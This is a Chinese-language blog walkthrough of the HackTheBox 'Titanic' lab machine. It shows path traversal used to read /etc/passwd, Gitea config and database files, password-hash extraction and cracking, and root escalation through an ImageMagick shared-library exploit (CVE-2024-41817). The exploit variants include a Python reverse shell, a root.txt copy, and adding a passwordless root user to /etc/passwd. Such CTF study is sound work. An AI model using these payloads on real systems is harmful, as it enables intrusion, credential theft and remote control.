本文最后更新于 2025年3月4日 晚上
寒假赛季打的机器了,唉,拖了这么久才想起发出来(太懒了wwwww),感谢 z3n1th、SWDD、n0o0b 师傅们的帮助www
信息收集 nmap 扫一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ┌──(root㉿butt3rf1y)-[/home/butt3rf1y] └─# nmap -sS -sV -Pn 10 .10 .11 .55 Starting Nmap 7 .94 SVN ( https://nmap.org ) at 2025 -02 -19 20 :15 CST Nmap scan report for 10 .10 .11 .55 Host is up (0 .37 s latency).Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION22 /tcp open ssh OpenSSH 8 .9 p1 Ubuntu 3 ubuntu0.10 (Ubuntu Linux; protocol 2 .0 )80 /tcp open http Apache httpd 2 .4 .52 Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12 .58 seconds
开放了 80 和 22
UserFlag 1 ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000 .txt -u http://titanic.htb/ -H "Host:FUZZ.titanic.htb" -fc 301
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 ┌──(root㉿butt3rf1y)-[/] └─# ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000 .txt -u http://titanic.htb/ -H "Host:FUZZ.titanic.htb" -fc 301 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1 .0 -dev ________________________________________________ :: Method : GET :: URL : http://titanic.htb/ :: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000 .txt :: Header : Host: FUZZ.titanic.htb :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200 -299 ,301 ,302 ,307 ,401 ,403 ,405 ,500 :: Filter : Response status: 301 ________________________________________________ dev [Status: 200 , Size: 13982 , Words: 1107 , Lines: 276 , Duration: 710 ms] :: Progress: [114441 /114441 ] :: Job [1 /1 ] :: 80 req/sec :: Duration: [0 :20 :50 ] :: Errors: 0 ::
把 dev.titanic.htb
加到 /etc/hosts
里面然后访问
发现了 gitea,然后点击 Explore
找到了一些用户
只有 developer
用户里有文件,一个 docker-config
和一个 flask-app
内容如下
app.py 文件有路径遍历漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from flask import Flask, request, jsonify, send_file, render_template, redirect, url_for, Responseimport osimport jsonfrom uuid import uuid4 app = Flask(__name__) TICKETS_DIR = "tickets" if not os.path.exists(TICKETS_DIR): os.makedirs(TICKETS_DIR)@app.route('/' ) def index (): return render_template('index.html' )@app.route('/book' , methods=['POST' ] ) def book_ticket (): data = { "name" : request.form['name' ], "email" : request.form['email' ], "phone" : request.form['phone' ], "date" : request.form['date' ], "cabin" : request.form['cabin' ] } ticket_id = str (uuid4()) json_filename = f"{ticket_id} .json" json_filepath = os.path.join(TICKETS_DIR, json_filename) with open (json_filepath, 'w' ) as json_file: json.dump(data, json_file) return redirect(url_for('download_ticket' , ticket=json_filename))@app.route('/download' , methods=['GET' ] ) def download_ticket (): ticket = request.args.get('ticket' ) if not ticket: return jsonify({"error" : "Ticket parameter is required" }), 400 json_filepath = os.path.join(TICKETS_DIR, ticket) if os.path.exists(json_filepath): return send_file(json_filepath, as_attachment=True , download_name=ticket) else : return jsonify({"error" : "Ticket not found" }), 404 if __name__ == '__main__' : app.run(host='127.0.0.1' , port=5000 )
download_ticket
路由直接使用用户传入的 ticket
参数拼接文件路径,可以构造像 ../../etc/passwd
这样的路径来读取文件
访问试一下
1 http://titanic.htb/download?ticket=../../../etc/passwd
读取下载的文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 ┌──(root㉿butt3rf1y)-[/home/butt3rf1y/Downloads] └─# cat _.._.._etc_passwdroot:x :0:0:root :/root :/bin /bash daemon:x :1:1:daemon :/usr /sbin :/usr /sbin /nologin bin:x :2:2:bin :/bin :/usr /sbin /nologin sys:x :3:3:sys :/dev :/usr /sbin /nologin sync:x :4:65534:sync :/bin :/bin /sync games:x :5:60:games :/usr /games :/usr /sbin /nologin man:x :6:12:man :/var /cache /man :/usr /sbin /nologin lp:x :7:7:lp :/var /spool /lpd :/usr /sbin /nologin mail:x :8:8:mail :/var /mail :/usr /sbin /nologin news:x :9:9:news :/var /spool /news :/usr /sbin /nologin uucp:x :10:10:uucp :/var /spool /uucp :/usr /sbin /nologin proxy:x :13:13:proxy :/bin :/usr /sbin /nologin www -data:x :33:33:www -data :/var /www :/usr /sbin /nologin backup:x :34:34:backup :/var /backups :/usr /sbin /nologin list:x :38:38:Mailing List Manager :/var /list :/usr /sbin /nologin irc:x :39:39:ircd :/run /ircd :/usr /sbin /nologin gnats:x :41:41:Gnats Bug -Reporting System (admin ):/var /lib /gnats :/usr /sbin /nologin nobody:x :65534:65534:nobody :/nonexistent :/usr /sbin /nologin _apt:x :100:65534::/nonexistent :/usr /sbin /nologin systemd -network:x :101:102:systemd Network Management ,,,:/run /systemd :/usr /sbin /nologin systemd -resolve:x :102:103:systemd Resolver ,,,:/run /systemd :/usr /sbin /nologin messagebus:x :103:104::/nonexistent :/usr /sbin /nologin systemd -timesync:x :104:105:systemd Time Synchronization ,,,:/run /systemd :/usr /sbin /nologin pollinate:x :105:1::/var /cache /pollinate :/bin /false sshd:x :106:65534::/run /sshd :/usr /sbin /nologin syslog:x :107:113::/home /syslog :/usr /sbin /nologin uuidd:x :108:114::/run /uuidd :/usr /sbin /nologin tcpdump:x :109:115::/nonexistent :/usr /sbin /nologin tss:x :110:116:TPM software stack ,,,:/var /lib /tpm :/bin /false landscape:x :111:117::/var /lib /landscape :/usr /sbin /nologin fwupd -refresh:x :112:118:fwupd -refresh user ,,,:/run /systemd :/usr /sbin /nologin usbmux:x :113:46:usbmux daemon ,,,:/var /lib /usbmux :/usr /sbin /nologin developer:x :1000:1000:developer :/home /developer :/bin /bash lxd:x :999:100::/var /snap /lxd /common /lxd :/bin /false dnsmasq:x :114:65534:dnsmasq ,,,:/var /lib /misc :/usr /sbin /nologin _laurel:x :998:998::/var /log /laurel :/bin /false
有 developer
用户
docker-compose.yml
文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 version: '3' services: gitea: image: gitea/gitea container_name: gitea ports: - "127.0.0.1:3000:3000" - "127.0.0.1:2222:22" volumes: - /home/developer/gitea/data:/data environment: - USER_UID=1000 - USER_GID=1000 restart: always
通过 gitea
的手册找到配置文件路径,结合 docker-compose.yml
中的文件路径下载配置文件
1 http://titanic.htb/download?ticket=../../../home/developer/gitea/data/gitea/conf/app.ini
读取配置文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 ┌──(root㉿butt3rf1y)-[/home/butt3rf1y/Downloads] └─# cat _.._.._home_developer_gitea_data_gitea_conf_app.ini APP_NAME = Gitea: Git with a cup of tea RUN_MODE = prod RUN_USER = git WORK_PATH = /data/gitea [repository] ROOT = /data/git/repositories [repository.local] LOCAL_COPY_PATH = /data/gitea/tmp/local-repo [repository.upload] TEMP_PATH = /data/gitea/uploads [server] APP_DATA_PATH = /data/gitea DOMAIN = gitea.titanic.htb SSH_DOMAIN = gitea.titanic.htb HTTP_PORT = 3000 ROOT_URL = http://gitea.titanic.htb/ DISABLE_SSH = false SSH_PORT = 22 SSH_LISTEN_PORT = 22 LFS_START_SERVER = true LFS_JWT_SECRET = OqnUg-uJVK-l7rMN1oaR6oTF348gyr0QtkJt-JpjSO4 OFFLINE_MODE = true [database]PATH = /data/gitea/gitea.db DB_TYPE = sqlite3 HOST = localhost:3306 NAME = gitea USER = root PASSWD = LOG_SQL = false SCHEMA = SSL_MODE = disable [indexer] ISSUE_INDEXER_PATH = /data/gitea/indexers/issues.bleve [session] PROVIDER_CONFIG = /data/gitea/sessions PROVIDER = file [picture] AVATAR_UPLOAD_PATH = /data/gitea/avatars REPOSITORY_AVATAR_UPLOAD_PATH = /data/gitea/repo-avatars [attachment]PATH = /data/gitea/attachments [log]MODE = console LEVEL = info ROOT_PATH = /data/gitea/log [security] INSTALL_LOCK = true SECRET_KEY = REVERSE_PROXY_LIMIT = 1 REVERSE_PROXY_TRUSTED_PROXIES = * INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3MjI1OTUzMzR9.X4rYDGhkWTZKFfnjgES5r2rFRpu_GXTdQ65456XC0X8 PASSWORD_HASH_ALGO = pbkdf2 [service] DISABLE_REGISTRATION = false REQUIRE_SIGNIN_VIEW = false REGISTER_EMAIL_CONFIRM = false ENABLE_NOTIFY_MAIL = false ALLOW_ONLY_EXTERNAL_REGISTRATION = false ENABLE_CAPTCHA = false DEFAULT_KEEP_EMAIL_PRIVATE = false DEFAULT_ALLOW_CREATE_ORGANIZATION = true DEFAULT_ENABLE_TIMETRACKING = true NO_REPLY_ADDRESS = noreply.localhost [lfs]PATH = /data/git/lfs [mailer] ENABLED = false [openid] ENABLE_OPENID_SIGNIN = true ENABLE_OPENID_SIGNUP = true [cron.update_checker] ENABLED = false [repository.pull-request] DEFAULT_MERGE_STYLE = merge [repository.signing] DEFAULT_TRUST_MODEL = committer [oauth2] JWT_SECRET = FIAOKLQX4SBzvZ9eZnHYLTCiVGoBtkE4y5B7vMjzz3g
找到了 gitea.db
的路径
1 PATH = /data/gitea/gitea.db
curl 下来
1 curl --path -as-is -o gitea.db http://titanic.htb/download?ticket=../../../home/developer/gitea/data/gitea/gitea.db
查询一下数据库内容
1 2 3 4 5 6 7 ┌──(root㉿butt3rf1y)-[/gitea] └─# sqlite3 gitea.db "SELECT name, passwd, salt FROM user;" administrator|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|2 d149e5fbd1b20cf31db3e3c6a28fc9b developer|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|8 bf3e3452b78544f8bee9400d6936d34 joe|e8b6651ada9f663eb58fe9f91749e25ebb701ce68d8af03e41254d9b4cfa3a959db6dd4fe8b0928c4bfe0a2648fe0f7ccfc8|1626 a36ea942a7d1b34f06b23e2d89e71 syn1|9 fbfa80ae243bacab37c5e10c2b8558f18bf3bc17b23d782a55d795143714e1ed87f9cc01422a6c5519e649a9e20783c7be9|bda65bd7bb76331c2076c23347cd156d kilobyte|98 d6a67dd155352c962c26c0008412960e3130d64e1fd23514e2ae8059930457b05989e64eb6c5418b1f8bf6c27b47431ab8|216 d42075eef581be952be3a31bfd58d
把内容转为 hashcat 能爆破的格式
1 sqlite3 gitea.db "SELECT passwd, salt, name FROM user" | awk -F '|' '{cmd = "echo -n " $1 " | xxd -r -p | base64"; cmd | getline digest; close(cmd );cmd = "echo -n " $2 " | xxd -r -p | base64"; cmd | getline salt; close(cmd );printf "%s:sha256:50000:% s:%s\n", $3 , salt, digest;}' | tee gitea.hashes
如下
1 2 3 4 5 administrator:sha256 :50000:LRSeX70bIM8x2z48aij8mw ==:y6IMz5J9OtBWe2gWFzLT +8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY = developer:sha256 :50000:i /PjRSt4VE +L7pQA1pNtNA ==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO /F2 +8wvxaCYZJjRE6llM +1Y =joe:sha256 :50000:FiajbqlCp9GzTwayPi2J5w ==:6LZlGtqfZj61j +n5F0niXrtwHOaNivA +QSVNm0z6OpWdtt1P6LCSjEv +CiZI /g98z8g =1syn1:sha256 :50000:vaZb17t2MxwgdsIzR80VbQ ==:n7 +oCuJDusqzfF4QwrhVjxi /O8F7I9eCpV15UUNxTh7Yf5zAFCKmxVGeZJqeIHg8e +k = kilobyte:sha256 :50000:IW1CB17vWBvpUr46Mb /VjQ ==:mNamfdFVNSyWLCbAAIQSlg4xMNZOH9I1FOKugFmTBFewWYnmTrbFQYsfi /bCe0dDGrg =
爆破得到密码
1 hashcat gitea.hashes /usr/share/wordlists/rockyou.txt --user
developer 密码就是 25282528
,ssh 登录拿到 userflag
1 8 fd2b6d8b3295ff48e360a3b4ee855ed
RootFlag 查看一下进程
1 2 3 4 5 6 7 8 9 10 11 developer@titanic:~$ ps aux USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND develop + 1174 24.5 0.9 1065140 36656 ? Ssl 11:27 14:40 /usr /bin /python3 /opt /app /app.py develop + 2553 5.1 4.7 1542860 187236 ? Ssl 11:27 3:03 /usr /local /bin /gitea web develop + 97125 0.0 0.2 17072 9888 ? Ss 11:32 0:00 /lib /systemd /systemd --user develop + 97635 0.0 0.1 8788 5564 pts /0 Ss + 11:32 0:00 -bash develop + 391153 0.0 0.1 8788 5564 pts /1 Ss + 11:58 0:00 -bash develop + 489859 0.0 0.1 8656 5412 pts /2 Ss + 12:09 0:00 -bash develop + 513995 0.0 0.1 8656 5440 pts /3 Ss 12:11 0:00 -bash develop + 578623 0.0 0.1 8788 5536 pts /5 Ss + 12:17 0:00 -bash develop + 674578 0.0 0.0 10072 1548 pts /3 R + 12:26 0:00 ps aux
可以看到 /opt/app/app.py
消耗了大量 CPU 资源,在 /opt/scripts
下找到了 identify_images.sh
1 2 3 cd /opt/app/static/assets/imagestruncate -s 0 metadata.log find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
查看了一下日志文件,emmm没啥东西
搜了一下 /usr/bin
下的 magick identify
,它是 ImageMagic
的命令行工具,``ImageMagic` 是一个用于查看、编辑位图文件以及进行图像格式转换的软件
查看版本号
1 2 3 4 5 6 7 developer@titanic:/usr /bin $ magick --version Version : ImageMagick 7.1.1-35 Q16 -HDRI x86_64 1bfce2a62 :20240713 https ://imagemagick.org Copyright : (C ) 1999 ImageMagick Studio LLC License : https ://imagemagick.org /script /license.php Features : Cipher DPC HDRI OpenMP (4.5)Delegates (built -in ): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib Compiler : gcc (9.4)
查 CVE ,找到了 CVE-2024-41817
AppImage
版本 ImageMagick
在执行过程中设置 MAGICK_CONFIGURE_PATH
和 LD_LIBRARY_PATH
环境变量时可能会使用空路径,这可能会在执行 ImageMagick
时通过在当前工作目录中加载恶意配置文件或共享库导致任意代码执行,具体在 CVE-2024-41817
在工作目录创建共享库,工作目录应该是 /opt/app/static/assets/images/
总结:在 shell
文件中找到了工作目录,又因为在工作目录下会有任意代码执行的漏洞,所以我们可以直接通过在 poc 里面写入命令拿到 root
Method 1 将 root/root.txt
复制到当前目录来
1 2 3 4 5 6 7 8 9 10 gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF#include <stdio.h> #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void init () { system("cp /root/root.txt root.txt;chmod 777 root.txt" ); exit (0 ); } EOF
拿到 rootflag
1 24981e432 ecf0 c 66462 da1 fa91 fff48 f
Method 2 (这里是 SWDD 师傅的教学)可以发现 Machine 上有 python3,那么可以利用 poc 写反弹 shell
1 2 3 4 5 6 7 8 9 10 gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF#include <stdio.h> #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void init () { system("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"IP\",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'" ); } EOF
拿到 root
Method 3 n0o0b 师傅教的一种方法(偷师学艺),直接添加一个新的免密登录的 root 账户进去
1 echo 'butt3rf1y::0 :0 ::/root:/bin/bash' >> /etc/passwd
启动服务之后都得等一会儿才有回显
后记 后面还通过 crontab -l
可以发现执行了定时任务 identify_images.sh
、cleanup.sh
、revert.sh
1 2 3 4 5 root@titanic:~# cat revert.sh# !/bin/bash /usr/bin/rm /opt/app/tickets/*.json /usr/bin/cp -a -r /root/images /opt/app/static/assets/
1 2 3 4 root@titanic:~# cat cleanup.sh# !/bin/bash /usr/bin/rm /opt/app/static/assets/images/libxcb.so.1
一个更新 /opt/app/static/assets/
目录下的 images/
目录,一个删除 /opt/app/static/assets/images/
目录下的 libxcb.so.1
文件
CVE-2024-41817 1 2 3 4 5 6 7 8 9 10 gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF#include <stdio.h> #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void init () { system("id" ); exit (0 ); } EOF
来分析一下这个 poc
1 gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
通过 -shared
创建一个共享库,共享库名字就是 ./libxcb.so.1
,至于为什么是 libxcb
,我觉得应该是跟 ImageMagick 功能有关,libxcb
是 Linux下的一个开源的面向 C 语言的图形库,它专为 X Window 窗口系统开发,它提供了用于访问 X Window 的原生 API,使得 Linux 开发者可以准确地访问 X Window 系统。
1 __attribute__((constructor))
这是 GCC 特有的扩展,指定了 init()
函数在 main()
函数之前运行,也就是说直接先执行 init()
函数内容即这里的 system("id")
,所以这里可以执行恶意代码。